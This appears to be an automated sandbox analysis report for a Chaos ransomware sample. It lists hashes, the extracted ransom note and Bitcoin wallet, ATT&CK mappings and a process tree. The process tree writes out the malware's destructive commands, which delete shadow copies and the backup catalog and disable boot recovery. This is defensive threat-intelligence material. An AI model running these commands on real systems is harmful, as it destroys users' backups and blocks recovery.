d869ece8bef79067afd2a221373604179ac4134a6d9be662d92f6fe9739a82b8

Analysis

max time kernel
1442s
max time network
1489s
platform
windows7_x64
resource
win7v20210410
submitted
19-08-2021 15:45

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General

Target

v4.exe
Size

68KB
MD5

1a95ef555a4b16768d698f263cbba1f9
SHA1

37d9f7ba2da8a62554573b05ca995feba698b840
SHA256

d869ece8bef79067afd2a221373604179ac4134a6d9be662d92f6fe9739a82b8
SHA512

9cf6e004f1177609a6f159be2ccc1efc16cad6c8810c6575e6c8ad742ec41ff077a0515b726dfa0babb6ea4e61829593165aa24da8c7ecf8eb22a33ef47c4154

Score

10^/10

evasion ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\read_it.txt

Ransom Note

----> Chaos is multi language ransomware. Translate your note to any language <---- All of your files have been encrypted Your computer was infected with a ransomware virus. Your files have been encrypted and you won't be able to decrypt them without our help.What can I do to get my files back?You can buy our special decryption software, this software will allow you to recover all of your data and remove the ransomware from your computer.The price for the software is $1,500. Payment can be made in Bitcoin only. How do I pay, where do I get Bitcoin? Purchasing Bitcoin varies from country to country, you are best advised to do a quick google search yourself to find out how to buy Bitcoin. Many of our customers have reported these sites to be fast and reliable: Coinmama - hxxps://www.coinmama.com Bitpanda - hxxps://www.bitpanda.com Payment informationAmount: 0.1473766 BTC Bitcoin Address: bc1qlnzcep4l4ac0ttdrq7awxev9ehu465f2vpt9x0

Wallets

bc1qlnzcep4l4ac0ttdrq7awxev9ehu465f2vpt9x0

Signatures

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
956	bcdedit.exe
1776	bcdedit.exe

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command-Line Interface

T1059

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
1472	wbadmin.exe

Executes dropped EXE 1 IoCs

pid	Process
1196	svchost.exe

Modifies extensions of user files 5 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\BackupProtect.raw => C:\Users\Admin\Pictures\BackupProtect.raw.d5b9	svchost.exe
File renamed	C:\Users\Admin\Pictures\MergeComplete.png => C:\Users\Admin\Pictures\MergeComplete.png.2qa1	svchost.exe
File renamed	C:\Users\Admin\Pictures\RedoMove.raw => C:\Users\Admin\Pictures\RedoMove.raw.yqvf	svchost.exe
File renamed	C:\Users\Admin\Pictures\SaveBlock.tif => C:\Users\Admin\Pictures\SaveBlock.tif.gcd1	svchost.exe
File renamed	C:\Users\Admin\Pictures\UnprotectSelect.raw => C:\Users\Admin\Pictures\UnprotectSelect.raw.iyhv	svchost.exe

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.url	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\read_it.txt	svchost.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Drops desktop.ini file(s) 33 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Searches\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Saved Games\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\Links for United States\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Pictures\Sample Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Contacts\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Music\Sample Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Videos\Sample Videos\desktop.ini	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
1068	vssadmin.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
432	NOTEPAD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1196	svchost.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1632	v4.exe
1196	svchost.exe
1196	svchost.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

description	pid	Process
Token: SeDebugPrivilege	1632	v4.exe
Token: SeDebugPrivilege	1196	svchost.exe
Token: SeBackupPrivilege	1532	vssvc.exe
Token: SeRestorePrivilege	1532	vssvc.exe
Token: SeAuditPrivilege	1532	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1092	WMIC.exe
Token: SeSecurityPrivilege	1092	WMIC.exe
Token: SeTakeOwnershipPrivilege	1092	WMIC.exe
Token: SeLoadDriverPrivilege	1092	WMIC.exe
Token: SeSystemProfilePrivilege	1092	WMIC.exe
Token: SeSystemtimePrivilege	1092	WMIC.exe
Token: SeProfSingleProcessPrivilege	1092	WMIC.exe
Token: SeIncBasePriorityPrivilege	1092	WMIC.exe
Token: SeCreatePagefilePrivilege	1092	WMIC.exe
Token: SeBackupPrivilege	1092	WMIC.exe
Token: SeRestorePrivilege	1092	WMIC.exe
Token: SeShutdownPrivilege	1092	WMIC.exe
Token: SeDebugPrivilege	1092	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1092	WMIC.exe
Token: SeRemoteShutdownPrivilege	1092	WMIC.exe
Token: SeUndockPrivilege	1092	WMIC.exe
Token: SeManageVolumePrivilege	1092	WMIC.exe
Token: 33	1092	WMIC.exe
Token: 34	1092	WMIC.exe
Token: 35	1092	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1092	WMIC.exe
Token: SeSecurityPrivilege	1092	WMIC.exe
Token: SeTakeOwnershipPrivilege	1092	WMIC.exe
Token: SeLoadDriverPrivilege	1092	WMIC.exe
Token: SeSystemProfilePrivilege	1092	WMIC.exe
Token: SeSystemtimePrivilege	1092	WMIC.exe
Token: SeProfSingleProcessPrivilege	1092	WMIC.exe
Token: SeIncBasePriorityPrivilege	1092	WMIC.exe
Token: SeCreatePagefilePrivilege	1092	WMIC.exe
Token: SeBackupPrivilege	1092	WMIC.exe
Token: SeRestorePrivilege	1092	WMIC.exe
Token: SeShutdownPrivilege	1092	WMIC.exe
Token: SeDebugPrivilege	1092	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1092	WMIC.exe
Token: SeRemoteShutdownPrivilege	1092	WMIC.exe
Token: SeUndockPrivilege	1092	WMIC.exe
Token: SeManageVolumePrivilege	1092	WMIC.exe
Token: 33	1092	WMIC.exe
Token: 34	1092	WMIC.exe
Token: 35	1092	WMIC.exe
Token: SeBackupPrivilege	316	wbengine.exe
Token: SeRestorePrivilege	316	wbengine.exe
Token: SeSecurityPrivilege	316	wbengine.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 1632 wrote to memory of 1196	1632	v4.exe	28
PID 1632 wrote to memory of 1196	1632	v4.exe	28
PID 1632 wrote to memory of 1196	1632	v4.exe	28
PID 1196 wrote to memory of 1932	1196	svchost.exe	31
PID 1196 wrote to memory of 1932	1196	svchost.exe	31
PID 1196 wrote to memory of 1932	1196	svchost.exe	31
PID 1932 wrote to memory of 1068	1932	cmd.exe	33
PID 1932 wrote to memory of 1068	1932	cmd.exe	33
PID 1932 wrote to memory of 1068	1932	cmd.exe	33
PID 1932 wrote to memory of 1092	1932	cmd.exe	37
PID 1932 wrote to memory of 1092	1932	cmd.exe	37
PID 1932 wrote to memory of 1092	1932	cmd.exe	37
PID 1196 wrote to memory of 1336	1196	svchost.exe	39
PID 1196 wrote to memory of 1336	1196	svchost.exe	39
PID 1196 wrote to memory of 1336	1196	svchost.exe	39
PID 1336 wrote to memory of 956	1336	cmd.exe	41
PID 1336 wrote to memory of 956	1336	cmd.exe	41
PID 1336 wrote to memory of 956	1336	cmd.exe	41
PID 1336 wrote to memory of 1776	1336	cmd.exe	42
PID 1336 wrote to memory of 1776	1336	cmd.exe	42
PID 1336 wrote to memory of 1776	1336	cmd.exe	42
PID 1196 wrote to memory of 1284	1196	svchost.exe	43
PID 1196 wrote to memory of 1284	1196	svchost.exe	43
PID 1196 wrote to memory of 1284	1196	svchost.exe	43
PID 1284 wrote to memory of 1472	1284	cmd.exe	45
PID 1284 wrote to memory of 1472	1284	cmd.exe	45
PID 1284 wrote to memory of 1472	1284	cmd.exe	45
PID 1196 wrote to memory of 432	1196	svchost.exe	49
PID 1196 wrote to memory of 432	1196	svchost.exe	49
PID 1196 wrote to memory of 432	1196	svchost.exe	49

C:\Users\Admin\AppData\Local\Temp\v4.exe
"C:\Users\Admin\AppData\Local\Temp\v4.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1632
- C:\Users\Admin\AppData\Roaming\svchost.exe
  "C:\Users\Admin\AppData\Roaming\svchost.exe"
  2⤵
  - Executes dropped EXE
  - Modifies extensions of user files
  - Drops startup file
  - Drops desktop.ini file(s)
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1196
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1932
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:1068
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1092
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1336
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      Modifies boot configuration data using bcdedit
      PID:956
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1776
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1284
  - - C:\Windows\system32\wbadmin.exe
      wbadmin delete catalog -quiet
      4⤵
      Deletes backup catalog
      PID:1472
- - C:\Windows\system32\NOTEPAD.EXE
    "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\read_it.txt
    3⤵
    - Opens file in notepad (likely ransom note)
    PID:432

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1532

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:316

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:896

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1324

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

memory/1196-67-0x00000000003F0000-0x00000000003F1000-memory.dmp

Filesize
4KB

Download
memory/1196-70-0x000000001ACE0000-0x000000001ACE2000-memory.dmp

Filesize
8KB

Download
memory/1472-79-0x000007FEFBFF1000-0x000007FEFBFF3000-memory.dmp

Filesize
8KB

Download
memory/1632-60-0x0000000001030000-0x0000000001031000-memory.dmp

Filesize
4KB

Download
memory/1632-63-0x000000001AD90000-0x000000001AD92000-memory.dmp

Filesize
8KB

Download
memory/1632-62-0x00000000003D0000-0x00000000003D2000-memory.dmp

Filesize
8KB

Download